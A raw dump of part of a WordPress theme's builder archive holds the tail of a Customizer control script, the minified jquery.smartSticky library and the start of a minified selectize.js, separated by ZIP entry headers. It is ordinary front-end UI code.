        // if control is normal, extend control right away
        if(!control.params.dynamic) {
            window.extendControl(control, id, options);
        }

        api.section.bind(sectionId, function(section){
            if(section.loaded && control.params.dynamic) {
                window.extendControl(control, id, options);
            }
        });
    };

    api.controlConstructor.default = api.Control.extend({
        initialize: function( id, options ) {
            api.Control.prototype.initialize.call( this, id, options );
            window.initializeControl(this, id, options);
        },
    });

})(wp.customize);
PK     N\z1  z1  /  inc/builder/assets/js/jquery.smartSticky.min.jsnu [        /**
* jquery.smartSticky 2.7.1
* https://github.com/oplaner4/jquery.smartSticky
* by Ondrej Planer, oplaner4@gmail.com
* 
* This library requires jQuery.js
* See the documentation before using this library please
* jquery.smartSticky.js may be freely distributed under the MIT license.
*
* Copyright 2020, Ondrej Planer
* 
* 
* PRESERVE THIS PLEASE
*/

!function (t) { "use strict"; "function" == typeof define && define.amd ? define(["jquery"], t) : "undefined" != typeof exports ? module.exports = t(require("jquery")) : t(window.jQuery) }(function (t) { "use strict"; var e = function (e, i) { let r = this; r._isEnabled = !0, r._settingsManagerInstance = new n(i, e), r._scrollingManagerInstance = t.fn.smartSticky.windowScrollingManager.onScrolling(function () { r.adjustToCurrentScrollTop() }), r._positionManagerInstance = new o(r._settingsManagerInstance, r._scrollingManagerInstance), t.fn.smartSticky.windowScrollingManager.getOverflowingElement().on("resize", function () { if (r.getPositionManager().setOrigPosition(), r.getSettingsManager().preparePlaceholder(), "thead" === r.adjustToCurrentScrollTop().getSettingsManager().getElement().prop("tagName").toLowerCase()) { let e = r.getSettingsManager().getPlaceholder().find("th"); t("th", r.getSettingsManager().getElement()).each(function (n) { t(this).css("width", e.eq(n).outerWidth()) }) } }).trigger("resize"), r.getSettingsManager().getElement().trigger("smartSticky.init", [r.getSettingsManager()]) }; e.prototype.getPositionManager = function () { return this._positionManagerInstance }, e.prototype.getSettingsManager = function () { return this._settingsManagerInstance }, e.prototype.getScrollingManager = function () { return this._scrollingManagerInstance }, e.prototype.adjustToCurrentScrollTop = function () { return this.getPositionManager().outOfOrigPosition() && this.isEnabled() ? (this.activated() || this.activate(), this.hide().getPositionManager().prepareFixedPosition().outOfContainer() || this.getPositionManager().canBeShownDueToScrolling() && (this.getSettingsManager().getElement().removeClass(t.fn.smartSticky.classes.invisible), this.getPositionManager().recalculateFixedPosition())) : this.activated() && this.deactivate(), this }, e.prototype.enable = function () { return this._isEnabled = !0, this.adjustToCurrentScrollTop(), this }, e.prototype.disable = function () { return this._isEnabled = !1, this.deactivate().adjustToCurrentScrollTop(), this }, e.prototype.isEnabled = function () { return this._isEnabled }, e.prototype.hide = function () { return this.getSettingsManager().getElement().addClass(t.fn.smartSticky.classes.invisible), this }, e.prototype.setOptions = function (t) { return this.getSettingsManager().setOptions(t, !0), this }, e.prototype.deactivate = function () { return this.getSettingsManager().getElement().trigger("smartSticky.deactivate", [this.getSettingsManager()]), this.getPositionManager().setOrigPosition(), this.getSettingsManager().getElement().trigger("smartSticky.deactivated", [this.getSettingsManager()]), this }, e.prototype.activate = function () { return this.getSettingsManager().preparePlaceholder().getElement().removeClass(t.fn.smartSticky.classes.background).css({ left: this.getSettingsManager().getFixedLeft(), width: this.getSettingsManager().getFixedWidth() }).trigger("smartSticky.activate", [this.getSettingsManager()]).addClass(t.fn.smartSticky.classes.active).trigger("smartSticky.activated", [this.getSettingsManager()]), t.fn.smartSticky.constants.css.noBackground.indexOf(this.getSettingsManager().getElement().css("background-color")) > -1 && this.getSettingsManager().getElement().addClass(t.fn.smartSticky.classes.background), this }, e.prototype.activated = function () { return this.getSettingsManager().getElement().hasClass(t.fn.smartSticky.classes.active) }; var n = function (e, n) { this._options = null, this._container = null, this._elem = n, this._placeholder = n.clone(!1).addClass(t.fn.smartSticky.classes.placeholder).removeAttr("id"), t("label", this._placeholder).removeAttr("for"), t("input, select, textarea", this._placeholder).removeAttr("name").removeAttr("id"), this._elem.addClass(t.fn.smartSticky.classes.root).before(this._placeholder), this.setOptions(e, !1).setContainer() }; n.prototype.getElement = function () { return this._elem }, n.prototype.setOptions = function (e, n) { return this._options = t.extend(!0, {}, n ? this._options : t.fn.smartSticky.defaults, e), this }, n.prototype.getOptions = function () { return this._options }, n.prototype.setContainer = function () { let e = this.getOptions().container; return e instanceof Function && (e = e(this)), (e instanceof HTMLElement || e instanceof HTMLCollection || e instanceof String || "string" == typeof e) && (e = t(e)), e = e instanceof jQuery && e.length > 0 ? e.first() : this.getElement().parent(), this._container = e.addClass(t.fn.smartSticky.classes.container), this }, n.prototype.getContainer = function () { return this._container }, n.prototype.getFixedLeft = function () { let t = this.getOptions().css.fixed.left; return t instanceof Function && (t = t(this)), t instanceof String || "string" == typeof t ? t : (t === parseFloat(t) || t instanceof Number || (t = this.getElement().offset().left), t + "px") }, n.prototype.getFixedWidth = function () { let t = this.getOptions().css.fixed.width; return t instanceof Function && (t = t(this)), t === parseFloat(t) || t instanceof Number || t instanceof String || "string" == typeof t ? t : this.getElement().outerWidth() }, n.prototype.getPlaceholder = function () { return this._placeholder }, n.prototype.preparePlaceholder = function () { return this.getPlaceholder().height(this.getElement().height()), this }; var i = function (t) { this._yCoordObj = t instanceof Object ? t : { top: 0 } }; i.prototype.isCalculatedFromTop = function () { return this._yCoordObj.hasOwnProperty("top") }, i.prototype.getFromTop = function () { return this.isCalculatedFromTop() ? this._yCoordObj.top : "auto" }, i.prototype.getFromBottom = function () { return this.isCalculatedFromTop() ? "auto" : this._yCoordObj.bottom }; var o = function (t, e) { this._settingsManagerInstance = t, this._scrollingManagerInstance = e, this._fixedPosition = null, this._yCoordManagerInstance = null, this.prepareFixedPosition() }; o.prototype.getSettingsManager = function () { return this._settingsManagerInstance }, o.prototype.getScrollingManager = function () { return this._scrollingManagerInstance }, o.prototype.getYCoordManager = function () { return this._yCoordManagerInstance }, o.prototype.setYCoordManager = function () { return this._yCoordManagerInstance = new i(t.fn.smartSticky.positions[this.getFixedPosition()](this)), this }, o.prototype.setOrigPosition = function () { return this.getSettingsManager().getElement().removeClass(t.fn.smartSticky.classes.active).css({ left: this.getSettingsManager().getPlaceholder().get(0).offsetLeft, width: this.getSettingsManager().getPlaceholder().outerWidth(), bottom: "auto", top: this.getSettingsManager().getPlaceholder().get(0).offsetTop }), this }, o.prototype.recalculateFixedPosition = function () { return this.getSettingsManager().getElement().css({ top: this.getYCoordManager().getFromTop(), bottom: this.getYCoordManager().getFromBottom() }), this }, o.prototype.getOrigOffsetTop = function () { return this.getSettingsManager().getPlaceholder().offset().top }, o.prototype.outOfOrigPositionAbove = function () { return !!this.getSettingsManager().getOptions().show.original.above && this.getOrigOffsetTop() - this.getScrollingManager().getOverflowingElement().outerHeight() + (this.getSettingsManager().getOptions().show.immediately ? this.getSettingsManager().getPlaceholder().outerHeight() : -1 * this.getSettingsManager().getOptions().show.delay) > this.getScrollingManager().getCurrentScrollTop() }, o.prototype.outOfOrigPositionUnder = function () { return !!this.getSettingsManager().getOptions().show.original.under && this.getOrigOffsetTop() + (this.getSettingsManager().getOptions().show.immediately ? 0 : this.getSettingsManager().getPlaceholder().outerHeight() + this.getSettingsManager().getOptions().show.delay) < this.getScrollingManager().getCurrentScrollTop() }, o.prototype.outOfOrigPosition = function () { return this.outOfOrigPositionAbove() || this.outOfOrigPositionUnder() }, o.prototype.outOfContainerAbove = function () { return t.fn.smartSticky.windowScrollingManager.getCurrentScrollTop() + (this.getYCoordManager().isCalculatedFromTop() ? this.getYCoordManager().getFromTop() : t.fn.smartSticky.windowScrollingManager.getOverflowingElement().outerHeight() - this.getSettingsManager().getElement().outerHeight() - this.getYCoordManager().getFromBottom()) < this.getSettingsManager().getContainer().offset().top }, o.prototype.outOfContainerUnder = function () { return t.fn.smartSticky.windowScrollingManager.getCurrentScrollTop() + (this.getYCoordManager().isCalculatedFromTop() ? this.getSettingsManager().getElement().outerHeight() + this.getYCoordManager().getFromTop() : t.fn.smartSticky.windowScrollingManager.getOverflowingElement().height() - this.getYCoordManager().getFromBottom()) > this.getSettingsManager().getContainer().offset().top + this.getSettingsManager().getContainer().outerHeight() }, o.prototype.outOfContainer = function () { return this.outOfContainerAbove() || this.outOfContainerUnder() }, o.prototype.canBeShownDueToScrolling = function () { if (this.getSettingsManager().getOptions().show.scrolling instanceof Function) return !0 === this.getSettingsManager().getOptions().show.scrolling(this.getSettingsManager(), this.getScrollingManager()); if (this.getScrollingManager().scrollingDown()) { if (this.getSettingsManager().getOptions().show.scrolling.down) return !0 } else if (this.getSettingsManager().getOptions().show.scrolling.up) return !0; return !1 }, o.prototype.getFixedPosition = function () { return this._fixedPosition }, o.prototype.prepareFixedPosition = function () { let e = this.getSettingsManager().getOptions().show.fixed; for (e instanceof Function && (e = e(this.getSettingsManager(), this.getScrollingManager())), this._fixedPosition = Object.keys(t.fn.smartSticky.positions)[0]; t.fn.smartSticky.positions.hasOwnProperty(e);)this._fixedPosition = e, e = t.fn.smartSticky.positions[this._fixedPosition](this); return this.setYCoordManager() }; var r = function (t) { let e = this; e._lastScrollTop = 0, e._lastScrollingDown = !0, e._onScrollingCallbackArr = new Array, e._overflowingElement = t.on("scroll", function () { e._onScrollingCallbackArr.forEach(function (t) { t.call(e, e) }), e.update() }) }; r.prototype.getOverflowingElement = function () { return this._overflowingElement }, r.prototype.scrollingDown = function () { return this._lastScrollTop === this.getCurrentScrollTop() ? this._lastScrollingDown : this._lastScrollingDown = this._lastScrollTop < this.getCurrentScrollTop() }, r.prototype.getCurrentScrollTop = function () { return this.getOverflowingElement().scrollTop() }, r.prototype.update = function () { return this._lastScrollTop = this.getCurrentScrollTop(), this }, r.prototype.onScrolling = function (t) { return this._onScrollingCallbackArr.push(t), this }, t.fn.smartSticky = function (n) { let i = n instanceof String || "string" == typeof n, o = arguments; if (i && "instance" === n) { let n = this.data("smartStickyManagerInstance"); if (n instanceof e) return n; t.error("smartSticky has not been initialized") } return this.each(function () { let r = t(this); if (i) { let t = r.data("smartStickyManagerInstance"); t instanceof e && t[n] instanceof Function && t[n].apply(t, Array.prototype.slice.call(o, 1)) } else r.data("smartStickyManagerInstance") || r.data("smartStickyManagerInstance", new e(r, n)) }) }, t.fn.smartSticky.defaults = { show: { delay: 50, immediately: !1, original: { under: !0, above: !1 }, fixed: "top", scrolling: { up: !0, down: !0 } }, container: null, css: { fixed: { width: null, left: null } } }, t.fn.smartSticky.classes = { placeholder: "sticky-smart-placeholder", root: "sticky-smart", invisible: "sticky-smart-invisible", active: "sticky-smart-active", background: "sticky-smart-background", container: "sticky-smart-container" }, t.fn.smartSticky.constants = { css: { noBackground: new Array("rgba(0, 0, 0, 0)", "transparent"), overflowing: new Array("auto", "scroll", "overlay") } }, t.fn.smartSticky.positions = { top: function () { return { top: 0 } }, bottom: function () { return { bottom: 0 } }, toggle: function (t) { return t.getScrollingManager().scrollingDown() ? "top" : "bottom" } }, t.fn.smartSticky.windowScrollingManager = new r(t(window)) });PK     N\ƭ  ƭ  &  inc/builder/assets/js/selectize.min.jsnu [        !function(t,e){"function"==typeof define&&define.amd?define("sifter",e):"object"==typeof exports?module.exports=e():t.Sifter=e()}(this,(function(){var t=function(t,e){this.items=t,this.settings=e||{diacritics:!0}};t.prototype.tokenize=function(t){if(!(t=n(String(t||"").toLowerCase()))||!t.length)return[];var e,i,s,r,l=[],h=t.split(/ +/);for(e=0,i=h.length;e<i;e++){if(s=o(h[e]),this.settings.diacritics)for(r in a)a.hasOwnProperty(r)&&(s=s.replace(new RegExp(r,"g"),a[r]));l.push({string:h[e],regex:new RegExp(s,"i")})}return l},t.prototype.iterator=function(t,e){(r(t)?Array.prototype.forEach||function(t){for(var e=0,i=this.length;e<i;e++)t(this[e],e,this)}:function(t){for(var e in this)this.hasOwnProperty(e)&&t(this[e],e,this)}).apply(t,[e])},t.prototype.getScoreFunction=function(t,e){var i,n,o,r;t=this.prepareSearch(t,e),n=t.tokens,i=t.options.fields,o=n.length,r=t.options.nesting;var a,l=function(t,e){var i,s;return t?-1===(s=(t=String(t||"")).search(e.regex))?0:(i=e.string.length/t.length,0===s&&(i+=.5),i):0},h=(a=i.length)?1===a?function(t,e){return l(s(e,i[0],r),t)}:function(t,e){for(var n=0,o=0;n<a;n++)o+=l(s(e,i[n],r),t);return o/a}:function(){return 0};return o?1===o?function(t){return h(n[0],t)}:"and"===t.options.conjunction?function(t){for(var e,i=0,s=0;i<o;i++){if((e=h(n[i],t))<=0)return 0;s+=e}return s/o}:function(t){for(var e=0,i=0;e<o;e++)i+=h(n[e],t);return i/o}:function(){return 0}},t.prototype.getSortFunction=function(t,i){var n,o,r,a,l,h,p,u,c,d,g;if(g=!(t=(r=this).prepareSearch(t,i)).query&&i.sort_empty||i.sort,c=function(t,e){return"$score"===t?e.score:s(r.items[e.id],t,i.nesting)},l=[],g)for(n=0,o=g.length;n<o;n++)(t.query||"$score"!==g[n].field)&&l.push(g[n]);if(t.query){for(d=!0,n=0,o=l.length;n<o;n++)if("$score"===l[n].field){d=!1;break}d&&l.unshift({field:"$score",direction:"desc"})}else for(n=0,o=l.length;n<o;n++)if("$score"===l[n].field){l.splice(n,1);break}for(u=[],n=0,o=l.length;n<o;n++)u.push("desc"===l[n].direction?-1:1);return(h=l.length)?1===h?(a=l[0].field,p=u[0],function(t,i){return p*e(c(a,t),c(a,i))}):function(t,i){var s,n,o;for(s=0;s<h;s++)if(o=l[s].field,n=u[s]*e(c(o,t),c(o,i)))return n;return 0}:null},t.prototype.prepareSearch=function(t,e){if("object"==typeof t)return t;var s=(e=i({},e)).fields,n=e.sort,o=e.sort_empty;return s&&!r(s)&&(e.fields=[s]),n&&!r(n)&&(e.sort=[n]),o&&!r(o)&&(e.sort_empty=[o]),{options:e,query:String(t||"").toLowerCase(),tokens:this.tokenize(t),total:0,items:[]}},t.prototype.search=function(t,e){var i,s,n,o;return s=this.prepareSearch(t,e),e=s.options,t=s.query,o=e.score||this.getScoreFunction(s),t.length?this.iterator(this.items,(function(t,n){i=o(t),(!1===e.filter||i>0)&&s.items.push({score:i,id:n})})):this.iterator(this.items,(function(t,e){s.items.push({score:1,id:e})})),(n=this.getSortFunction(s,e))&&s.items.sort(n),s.total=s.items.length,"number"==typeof e.limit&&(s.items=s.items.slice(0,e.limit)),s};var e=function(t,e){return"number"==typeof t&&"number"==typeof e?t>e?1:t<e?-1:0:(t=l(String(t||"")))>(e=l(String(e||"")))?1:e>t?-1:0},i=function(t,e){var i,s,n,o;for(i=1,s=arguments.length;i<s;i++)if(o=arguments[i])for(n in o)o.hasOwnProperty(n)&&(t[n]=o[n]);return t},s=function(t,e,i){if(t&&e){if(!i)return t[e];for(var s=e.split(".");s.length&&(t=t[s.shift()]););return t}},n=function(t){return(t+"").replace(/^\s+|\s+$|/g,"")},o=function(t){return(t+"").replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1")},r=Array.isArray||"undefined"!=typeof $&&$.isArray||function(t){return"[object Array]"===Object.prototype.toString.call(t)},a={a:"[aḀḁĂăÂâǍǎȺⱥȦȧẠạÄäÀàÁáĀāÃãÅåąĄÃąĄ]",b:"[b␢βΒB฿𐌁ᛒ]",c:"[cĆćĈĉČčĊċC̄c̄ÇçḈḉȻȼƇƈɕᴄＣｃ]",d:"[dĎďḊḋḐḑḌḍḒḓḎḏĐđD̦d̦ƉɖƊɗƋƌᵭᶁᶑȡᴅＤｄð]",e:"[eÉéÈèÊêḘḙĚěĔĕẼẽḚḛẺẻĖėËëĒēȨȩĘęᶒɆɇȄȅẾếỀềỄễỂểḜḝḖḗḔḕȆȇẸẹỆệⱸᴇＥｅɘǝƏƐε]",f:"[fƑƒḞḟ]",g:"[gɢ₲ǤǥĜĝĞğĢģƓɠĠġ]",h:"[hĤĥĦħḨḩẖẖḤḥḢḣɦʰǶƕ]",i:"[iÍíÌìĬĭÎîǏǐÏïḮḯĨĩĮįĪīỈỉȈȉȊȋỊịḬḭƗɨɨ̆ᵻᶖİiIıɪＩｉ]",j:"[jȷĴĵɈɉʝɟʲ]",k:"[kƘƙꝀꝁḰḱǨǩḲḳḴḵκϰ₭]",l:"[lŁłĽľĻļĹĺḶḷḸḹḼḽḺḻĿŀȽƚⱠⱡⱢɫɬᶅɭȴʟＬｌ]",n:"[nŃńǸǹŇňÑñṄṅŅņṆṇṊṋṈṉN̈n̈ƝɲȠƞᵰᶇɳȵɴＮｎŊŋ]",o:"[oØøÖöÓóÒòÔôǑǒŐőŎŏȮȯỌọƟɵƠơỎỏŌōÕõǪǫȌȍՕօ]",p:"[pṔṕṖṗⱣᵽƤƥᵱ]",q:"[qꝖꝗʠɊɋꝘꝙq̃]",r:"[rŔŕɌɍŘřŖŗṘṙȐȑȒȓṚṛⱤɽ]",s:"[sŚśṠṡṢṣꞨꞩŜŝŠšŞşȘșS̈s̈]",t:"[tŤťṪṫŢţṬṭƮʈȚțṰṱṮṯƬƭ]",u:"[uŬŭɄʉỤụÜüÚúÙùÛûǓǔŰűŬŭƯưỦủŪūŨũŲųȔȕ∪]",v:"[vṼṽṾṿƲʋꝞꝟⱱʋ]",w:"[wẂẃẀẁŴŵẄẅẆẇẈẉ]",x:"[xẌẍẊẋχ]",y:"[yÝýỲỳŶŷŸÿỸỹẎẏỴỵɎɏƳƴ]",z:"[zŹźẐẑŽžŻżẒẓẔẕƵƶ]"},l=function(){var t,e,i,s,n="",o={};for(i in a)if(a.hasOwnProperty(i))for(n+=s=a[i].substring(2,a[i].length-1),t=0,e=s.length;t<e;t++)o[s.charAt(t)]=i;var r=new RegExp("["+n+"]","g");return function(t){return t.replace(r,(function(t){return o[t]})).toLowerCase()}}();return t})),function(t,e){"function"==typeof define&&define.amd?define("microplugin",e):"object"==typeof exports?module.exports=e():t.MicroPlugin=e()}(this,(function(){var t={mixin:function(t){t.plugins={},t.prototype.initializePlugins=function(t){var i,s,n,o=[];if(this.plugins={names:[],settings:{},requested:{},loaded:{}},e.isArray(t))for(i=0,s=t.length;i<s;i++)"string"==typeof t[i]?o.push(t[i]):(this.plugins.settings[t[i].name]=t[i].options,o.push(t[i].name));else if(t)for(n in t)t.hasOwnProperty(n)&&(this.plugins.settings[n]=t[n],o.push(n));for(;o.length;)this.require(o.shift())},t.prototype.loadPlugin=function(e){var i=this.plugins,s=t.plugins[e];if(!t.plugins.hasOwnProperty(e))throw new Error('Unable to find "'+e+'" plugin');i.requested[e]=!0,i.loaded[e]=s.fn.apply(this,[this.plugins.settings[e]||{}]),i.names.push(e)},t.prototype.require=function(t){var e=this.plugins;if(!this.plugins.loaded.hasOwnProperty(t)){if(e.requested[t])throw new Error('Plugin has circular dependency ("'+t+'")');this.loadPlugin(t)}return e.loaded[t]},t.define=function(e,i){t.plugins[e]={name:e,fn:i}}}},e={isArray:Array.isArray||function(t){return"[object Array]"===Object.prototype.toString.call(t)}};return t})),function(t,e){"function"==typeof define&&define.amd?define("selectize",["jquery","sifter","microplugin"],e):"object"==typeof exports?module.exports=e(require("jquery"),require("sifter"),require("microplugin")):t.Selectize=e(t.jQuery,t.Sifter,t.MicroPlugin)}(this,(function(t,e,i){"use strict";var s=function(t,e){if("string"!=typeof e||e.length){var i="string"==typeof e?new RegExp(e,"i"):e,s=function(t){var e=0;if(3===t.nodeType){var n=t.data.search(i);if(n>=0&&t.data.length>0){var o=t.data.match(i),r=document.createElement("span");r.className="highlight";var a=t.splitText(n),l=(a.splitText(o[0].length),a.cloneNode(!0));r.appendChild(l),a.parentNode.replaceChild(r,a),e=1}}else if(1===t.nodeType&&t.childNodes&&!/(script|style)/i.test(t.tagName))for(var h=0;h<t.childNodes.length;++h)h+=s(t.childNodes[h]);return e};return t.each((function(){s(this)}))}},n=function(){};n.prototype={on:function(t,e){this._events=this._events||{},this._events[t]=this._events[t]||[],this._events[t].push(e)},off:function(t,e){var i=arguments.length;return 0===i?delete this._events:1===i?delete this._events[t]:(this._events=this._events||{},void(t in this._events!=!1&&this._events[t].splice(this._events[t].indexOf(e),1)))},trigger:function(t){if(this._events=this._events||{},t in this._events!=!1)for(var e=0;e<this._events[t].length;e++)this._events[t][e].apply(this,Array.prototype.slice.call(arguments,1))}},n.mixin=function(t){for(var e=["on","off","trigger"],i=0;i<e.length;i++)t.prototype[e[i]]=n.prototype[e[i]]};var o=/Mac/.test(navigator.userAgent),r=o?91:17,a=o?18:17,l=!/android/i.test(window.navigator.userAgent)&&!!document.createElement("form").validity,h=function(t){return void 0!==t},p=function(t){return null==t?null:"boolean"==typeof t?t?"1":"0":t+""},u=function(t){return(t+"").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},c={before:function(t,e,i){var s=t[e];t[e]=function(){return i.apply(t,arguments),s.apply(t,arguments)}},after:function(t,e,i){var s=t[e];t[e]=function(){var e=s.apply(t,arguments);return i.apply(t,arguments),e}}},d=function(t){var e=!1;return function(){e||(e=!0,t.apply(this,arguments))}},g=function(t,e,i){var s,n=t.trigger,o={};for(s in t.trigger=function(){var i=arguments[0];if(-1===e.indexOf(i))return n.apply(t,arguments);o[i]=arguments},i.apply(t,[]),t.trigger=n,o)o.hasOwnProperty(s)&&n.apply(t,o[s])},f=function(t){var e={};if("selectionStart"in t)e.start=t.selectionStart,e.length=t.selectionEnd-e.start;else if(document.selection){t.focus();var i=document.selection.createRange(),s=document.selection.createRange().text.length;i.moveStart("character",-t.value.length),e.start=i.text.length-s,e.length=s}return e},v=function(e){var i=null,s=function(s,n){var o,r,a,l,h,p,u,c;n=n||{},(s=s||window.event||{}).metaKey||s.altKey||(n.force||!1!==e.data("grow"))&&(o=e.val(),s.type&&"keydown"===s.type.toLowerCase()&&(a=(r=s.keyCode)>=97&&r<=122||r>=65&&r<=90||r>=48&&r<=57||32===r,46===r||8===r?(c=f(e[0])).length?o=o.substring(0,c.start)+o.substring(c.start+c.length):8===r&&c.start?o=o.substring(0,c.start-1)+o.substring(c.start+1):46===r&&void 0!==c.start&&(o=o.substring(0,c.start)+o.substring(c.start+1)):a&&(p=s.shiftKey,u=String.fromCharCode(s.keyCode),o+=u=p?u.toUpperCase():u.toLowerCase())),l=e.attr("placeholder"),!o&&l&&(o=l),(h=function(e,i){if(!e)return 0;var s=t("<test>").css({position:"absolute",top:-99999,left:-99999,width:"auto",padding:0,whiteSpace:"pre"}).text(e).appendTo("body");!function(t,e,i){var s,n,o={};if(i)for(s=0,n=i.length;s<n;s++)o[i[s]]=t.css(i[s]);else o=t.css();e.css(o)}(i,s,["letterSpacing","fontSize","fontFamily","fontWeight","textTransform"]);var n=s.width();return s.remove(),n}(o,e)+4)!==i&&(i=h,e.width(h),e.triggerHandler("resize")))};e.on("keydown keyup update blur",s),s()},m=function(i,s){var n,o,r,a;(a=i[0]).selectize=this;var l,h,p,u=window.getComputedStyle&&window.getComputedStyle(a,null);if(r=(r=u?u.getPropertyValue("direction"):a.currentStyle&&a.currentStyle.direction)||i.parents("[dir]:first").attr("dir")||"",t.extend(this,{order:0,settings:s,$input:i,tabIndex:i.attr("tabindex")||"",tagType:"select"===a.tagName.toLowerCase()?1:2,rtl:/rtl/i.test(r),eventNS:".selectize"+ ++m.count,highlightedValue:null,isOpen:!1,isDisabled:!1,isRequired:i.is("[required]"),isInvalid:!1,isLocked:!1,isFocused:!1,isInputHidden:!1,isSetup:!1,isShiftDown:!1,isCmdDown:!1,isCtrlDown:!1,ignoreFocus:!1,ignoreBlur:!1,ignoreHover:!1,hasOptions:!1,currentResults:null,lastValue:"",caretPos:0,loading:0,loadedSearches:{},$activeOption:null,$activeItems:[],optgroups:{},options:{},userOptions:{},items:[],renderCache:{},onSearchChange:null===s.loadThrottle?this.onSearchChange:(l=this.onSearchChange,h=s.loadThrottle,function(){var t=this,e=arguments;window.clearTimeout(p),p=window.setTimeout((function(){l.apply(t,e)}),h)})}),this.sifter=new e(this.options,{diacritics:s.diacritics}),this.settings.options){for(n=0,o=this.settings.options.length;n<o;n++)this.registerOption(this.settings.options[n]);delete this.settings.options}if(this.settings.optgroups){for(n=0,o=this.settings.optgroups.length;n<o;n++)this.registerOptionGroup(this.settings.optgroups[n]);delete this.settings.optgroups}this.settings.mode=this.settings.mode||(1===this.settings.maxItems?"single":"multi"),"boolean"!=typeof this.settings.hideSelected&&(this.settings.hideSelected="multi"===this.settings.mode),this.initializePlugins(this.settings.plugins),this.setupCallbacks(),this.setupTemplates(),this.setup()};return n.mixin(m),i.mixin(m),t.extend(m.prototype,{setup:function(){var e,i,s,n,h,p,u,c,d,g,f,m,y,w=this,O=w.settings,C=w.eventNS,$=t(window),b=t(document),x=w.$input;if(u=w.settings.mode,c=x.attr("class")||"",e=t("<div>").addClass(O.wrapperClass).addClass(c).addClass(u),i=t("<div>").addClass(O.inputClass).addClass("items").appendTo(e),s=t('<input type="text" autocomplete="off" />').appendTo(i).attr("tabindex",x.is(":disabled")?"-1":w.tabIndex),p=t(O.dropdownParent||e),n=t("<div>").addClass(O.dropdownClass).addClass(u).hide().appendTo(p),h=t("<div>").addClass(O.dropdownContentClass).appendTo(n),w.settings.copyClassesToDropdown&&n.addClass(c),e.css({width:x[0].style.width}),w.plugins.names.length&&(d="plugin-"+w.plugins.names.join(" plugin-"),e.addClass(d),n.addClass(d)),(null===O.maxItems||O.maxItems>1)&&1===w.tagType&&x.attr("multiple","multiple"),w.settings.placeholder&&s.attr("placeholder",O.placeholder),!w.settings.splitOn&&w.settings.delimiter){var S=w.settings.delimiter.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&");w.settings.splitOn=new RegExp("\\s*"+S+"+\\s*")}x.attr("autocorrect")&&s.attr("autocorrect",x.attr("autocorrect")),x.attr("autocapitalize")&&s.attr("autocapitalize",x.attr("autocapitalize")),w.$wrapper=e,w.$control=i,w.$control_input=s,w.$dropdown=n,w.$dropdown_content=h,n.on("mouseenter","[data-selectable]",(function(){return w.onOptionHover.apply(w,arguments)})),n.on("mousedown click","[data-selectable]",(function(){return w.onOptionSelect.apply(w,arguments)})),f="mousedown",m="*:not(input)",y=function(){return w.onItemSelect.apply(w,arguments)},(g=i).on(f,m,(function(t){for(var e=t.target;e&&e.parentNode!==g[0];)e=e.parentNode;return t.currentTarget=e,y.apply(this,[t])})),v(s),i.on({mousedown:function(){return w.onMouseDown.apply(w,arguments)},click:function(){return w.onClick.apply(w,arguments)}}),s.on({mousedown:function(t){t.stopPropagation()},keydown:function(){return w.onKeyDown.apply(w,arguments)},keyup:function(){return w.onKeyUp.apply(w,arguments)},keypress:function(){return w.onKeyPress.apply(w,arguments)},resize:function(){w.positionDropdown.apply(w,[])},blur:function(){return w.onBlur.apply(w,arguments)},focus:function(){return w.ignoreBlur=!1,w.onFocus.apply(w,arguments)},paste:function(){return w.onPaste.apply(w,arguments)}}),b.on("keydown"+C,(function(t){w.isCmdDown=t[o?"metaKey":"ctrlKey"],w.isCtrlDown=t[o?"altKey":"ctrlKey"],w.isShiftDown=t.shiftKey})),b.on("keyup"+C,(function(t){t.keyCode===a&&(w.isCtrlDown=!1),16===t.keyCode&&(w.isShiftDown=!1),t.keyCode===r&&(w.isCmdDown=!1)})),b.on("mousedown"+C,(function(t){if(w.isFocused){if(t.target===w.$dropdown[0]||t.target.parentNode===w.$dropdown[0])return!1;w.$control.has(t.target).length||t.target===w.$control[0]||w.blur(t.target)}})),$.on(["scroll"+C,"resize"+C].join(" "),(function(){w.isOpen&&w.positionDropdown.apply(w,arguments)})),$.on("mousemove"+C,(function(){w.ignoreHover=!1})),this.revertSettings={$children:x.children().detach(),tabindex:x.attr("tabindex")},x.attr("tabindex",-1).hide().after(w.$wrapper),t.isArray(O.items)&&(w.setValue(O.items),delete O.items),l&&x.on("invalid"+C,(function(t){t.preventDefault(),w.isInvalid=!0,w.refreshState()})),w.updateOriginalInput(),w.refreshItems(),w.refreshState(),w.updatePlaceholder(),w.isSetup=!0,x.is(":disabled")&&w.disable(),w.on("change",this.onChange),x.data("selectize",w),x.addClass("selectized"),w.trigger("initialize"),!0===O.preload&&w.onSearchChange("")},setupTemplates:function(){var e=this.settings.labelField,i=this.settings.optgroupLabelField,s={optgroup:function(t){return'<div class="optgroup">'+t.html+"</div>"},optgroup_header:function(t,e){return'<div class="optgroup-header">'+e(t[i])+"</div>"},option:function(t,i){return'<div class="option">'+i(t[e])+"</div>"},item:function(t,i){return'<div class="item">'+i(t[e])+"</div>"},option_create:function(t,e){return'<div class="create">Add <strong>'+e(t.input)+"</strong>&hellip;</div>"}};this.settings.render=t.extend({},s,this.settings.render)},setupCallbacks:function(){var t,e,i={initialize:"onInitialize",change:"onChange",item_add:"onItemAdd",item_remove:"onItemRemove",clear:"onClear",option_add:"onOptionAdd",option_remove:"onOptionRemove",option_clear:"onOptionClear",optgroup_add:"onOptionGroupAdd",optgroup_remove:"onOptionGroupRemove",optgroup_clear:"onOptionGroupClear",dropdown_open:"onDropdownOpen",dropdown_close:"onDropdownClose",type:"onType",load:"onLoad",focus:"onFocus",blur:"onBlur"};for(t in i)i.hasOwnProperty(t)&&(e=this.settings[i[t]])&&this.on(t,e)},onClick:function(t){this.isFocused||(this.focus(),t.preventDefault())},onMouseDown:function(e){var i=this,s=e.isDefaultPrevented();t(e.target);if(i.isFocused){if(e.target!==i.$control_input[0])return"single"===i.settings.mode?i.isOpen?i.close():i.open():s||i.setActiveItem(null),!1}else s||window.setTimeout((function(){i.focus()}),0)},onChange:function(){this.$input.trigger("change")},onPaste:function(e){var i=this;i.isFull()||i.isInputHidden||i.isLocked?e.preventDefault():i.settings.splitOn&&setTimeout((function(){for(var e=t.trim(i.$control_input.val()||"").split(i.settings.splitOn),s=0,n=e.length;s<n;s++)i.createItem(e[s])}),0)},onKeyPress:function(t){if(this.isLocked)return t&&t.preventDefault();var e=String.fromCharCode(t.keyCode||t.which);return 